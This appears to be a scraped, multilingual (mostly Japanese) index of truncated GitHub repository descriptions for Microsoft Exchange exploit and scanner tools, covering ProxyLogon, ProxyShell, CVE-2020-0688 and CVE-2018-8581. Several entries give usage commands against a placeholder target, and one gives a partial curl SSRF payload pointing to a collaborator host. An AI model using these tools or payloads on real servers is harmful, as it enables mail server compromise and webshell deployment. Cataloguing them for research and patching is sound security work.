CVE-2021-26855

CVE-2021-26855-PoC CVE-2021-26855 用の PoC エクスプロイトコードです。 元のコードは https://github.com/GreyOrder によって開発されました。元のリポジトリは、追加機能（ユーザー列挙など）が追加された直後に削除されました。 最新版をお持ちの場合は、プルリクエストを送信してください。 CVE-2021-26855 ssrf simple use of golang exercises 影響を受けるバージョン: Exchange Server 2013 は CU23 未満、Exchange Server 2016 は CU18...

CVE-2022-41040

CVE-2022-41040 CVE-2022-41040 nuclei テンプレート 未検証！ 使い方 git clone https://github.com/numanturle/CVE-2022-41040 cd CVE-2022-41040 nuclei -u https://target -t owa.yaml GET /autodiscover/[email protected]/BACKENDAPI?&Email=autodiscover/autodiscover.json%[email protected] HTTP/1.1 Host: mail.x...

ExchangeSmash

proxylogon Proxyloginチェーン Microsoft Exchange Server - CVE-2021-26855 用のエクスプロイトです。 実行方法: このエクスプロイトは Impacket パッケージを使用します。インストールするには、以下を実行してください: user@host:$ python3 -m pip install impacket 次に、エクスプロイトリポジトリをクローンし、エクスプロイトディレクトリに移動します: user@host:$ git clone https://github.com/hakivvi/proxylogon.git &&...

CVE-2021-26855

CVE-2021-26855 CVE-2021-26855 ssrf 简单利用 golang 练习 影响版本 Exchange Server 2013 小于 CU23 Exchange Server 2016 小于 CU18 Exchange Server 2019 小于 CU7 利用条件 该漏洞不同于以往的 exchange 漏洞，此漏洞并不需要一个可登录的用户身份，可以在未授权的情况下获取内部用户资源，配合 CVE-2021-27065 可以实现远程命令执行。 漏洞触发必要条件 目标服务器存在漏洞 目标 exchange 服务器必须为负载均衡服务器，即同时使用两台及以上服务器...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server がインストール時に一意のキーを適切に生成できない場合、リモートコード実行の脆弱性が存在します。 検証キーを知っていると、メールボックスを持つ認証済みユーザーが、SYSTEM として実行される Web アプリケーションによって逆シリアル化される任意のオブジェクトを渡すことができます。 脆弱性について このバグは Exchange Control Panel ECP コンポーネントにあります。バグの性質は非常に単純です。インストールごとにランダムに生成されたキーを持つ代わりに、Microsoft Exchange...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE Forgot2kEyXCHANGE CVE-2020-0688 の PoC（概念実証）を PowerShell で記述 使用方法 この PoC は有効なユーザー名とパスワードを必要とします。 この PoC は ysoserial.net を使用して、-Command パラメーターで指定したコマンドを含む新しい ViewState を作成します。 このツールがシステムにインストールされていない場合は、こちら からダウンロードしてください。 PS . .\PSForgot2kEyXCHANGE.ps1 PS Invoke-Forgot2kEyXCHAN...

ProxyLogon

ProxyLogon ProxyLogonは、CVE-2021-26855の正式な総称です。これはMicrosoft Exchange Serverの脆弱性であり、攻撃者が認証をバイパスして管理者になりすますことを可能にします。また、このバグを別の認証後任意ファイル書き込みの脆弱性であるCVE-2021-27065と連鎖させて、コード実行を達成しました。 Python3 用 ProxyLogon usage: sudo python3 proxylogon.py --host=target.com [email protected] sudo python3...

ruler

Introduction Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. The main aim is abuse the client-side Outlook features and gain a shell remotely. The full low-down on how Ruler was implemented and some background regardin...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner このスクリプトは、IP/範囲/CIDR をスキャンし、検出された Microsoft Exchange Server とそのバージョンを出力します。指定された IP/範囲/CIDR は、masscan を使用してポート tcp/443 でスキャンされます。スキャン成功後、curl で "/owa/auth/logon.aspx" に HTTP GET を試み、Outlook Web Access ページのソースを取得してビルドバージョンを表示します。 Small Business Server 2011（Exchange Server 2010...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server リモートコード実行の脆弱性 ProxyShellエクスプロイトの再現 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ これはサイバー兵器ではなく、実験的なPoCです...

ProxyLogon

ProxyLogon ProxyLogon は、CVE-2021-26855 の正式な一般名称です。これは Microsoft Exchange Server の脆弱性であり、攻撃者が認証をバイパスして管理者になりすますことを可能にします。このバグを、別の認証後任意ファイル書き込み脆弱性である CVE-2021-27065 と連鎖させ、コード実行を実現しました。出典: proxylogon.com 免責事項 この GitHub リポジトリで提供される情報は、教育目的のみです。この GitHub...

ProxyShell

ProxyShell 설치 git clone https://github.com/ktecv2000/ProxyShell cd ProxyShell virtualenv -p $which python3 venv source venv/bin/activate pip3 install pypsrp cp wsman.py venv/lib//site-packages/pypsrp/wsman.py 사용법 python3 exploit.py...

ProxyShell

ProxyShell CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server リモートコード実行の脆弱性。 この欠陥のあるURL正規化により、Exchange Serverマシンアカウントとして実行中に任意のバックエンドURLにアクセスできます。このバグはProxyLogonのSSRFほど強力ではなく、URLのパス部分のみを操作できますが、任意のバックエンドアクセスでさらなる攻撃を実行するには十分強力です。 CVE-2021-34523 - Exchange PowerShell バックエンドの特権昇格 CVE-2021-31207...

Proxyshell-Scanner

Proxyshell-Scanner Pwn2Own で orange tsai によって発見された、Microsoft Exchange サーバーに影響を与える Proxyshell RCE（CVE-2021-34423,CVE-2021-34473,CVE-2021-31207）用の nuclei スキャナーです。 POC リソース https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html...

NtlmRelayToEWS

ntlmRelayToEWS 作者: Arno0x0x - @Arno0x0x ntlmRelayToEWS は、Exchange Web サービス EWS に対して NTLM リレー攻撃を実行するためのツールです。ポート 445 で SMBListener を、ポート 80 で HTTPListener を起動し、被害者からの接続を待ち受けます。被害者がいずれかのリスナーに接続すると、NTLM ネゴシエーションが発生し、ターゲットの EWS サーバーにリレーされます。 明らかにこのツールは EWS API 全体を実装していません...

ProxyLogon

ProxyLogon 用 Python3 ProxyLogonCVE-2021-26855+CVE-2021-27065 Exchange Server RCESSRF-GetWebShell usage: python ProxyLogon.py --host=exchange.com [email protected] python ProxyLogon.py --host=exchange.com --mails=./mails.txt args: --host: target's address. --mail: exists user's mail. --mails:...

CVE-2018-8581

CVE-2018-8581 これはメールレベルでの横断的侵入および権限昇格の脆弱性です 通常のメールアカウントのパスワードを入手していれば、他のユーザー（ドメイン管理者を含む）のメールボックスの受信トレイに対する委任による乗っ取りを完了できます このEXPスクリプトは、オリジナルのPoCをベースに改良したワンクリックスクリプトです。関連パラメータを設定すると、自動的にターゲットメールボックスの受信トレイに対する委任追加・削除操作を実行し、セキュリティ部門やレッドチームが承認された企業に対してシミュレーション攻撃を実施するのを容易にします...

Exch-CVE-2021-26855_Priv

Exch-CVE-2021-26855 ProxyLogon は CVE-2021-26855 の正式な総称であり、Microsoft Exchange Server の脆弱性で、攻撃者が認証をバイパスして管理者になりすますことを可能にします。このバグは、別の認証後任意ファイル書き込み脆弱性 CVE-2021-27065 とチェーンすることで、コード実行を実現しています。影響を受けるすべてのコンポーネントはデフォルトで脆弱です！ その結果、認証されていない攻撃者は、開かれている 443 ポートのみを介して Microsoft Exchange Server 上で任意のコマンドを実行できま...

CVE-2021-26855_PoC

CVE-2021-26855PoC Exchange Server 2019 に対する私の初期の SSRF ペイロード CVE-2021-26855... ペイロード 1 curl -i -s -k -X $'GET' -H $'Host: ' -H $'User-Agent: alex666' -H $'Connection: close' -b $'X-AnonResource=true; X-AnonResource-Backend=8r0apyvx5dt613lnaabo1qotwk2bq0.burpcollaborator.net/ecp/default.flt?3;...

CVE-2018-8581

CVE-2018-8581 これはメールレベルの横方向移動および権限昇格の脆弱性です。 通常のメールアカウントのパスワードを入手した後、他のユーザー（ドメイン管理者を含む）のメールボックス受信トレイを委任により乗っ取ることができます。 本エクスプロイトスクリプトは、元のPoCをベースに改良した強化版ワンクリックスクリプトです。関連パラメータを設定後、自動的にターゲットメールボックスの受信トレイに対する委任追加および削除操作を実行し、セキュリティ部門やレッドチームが許可された企業に対して模擬攻撃プロセスを完了できるようにします。...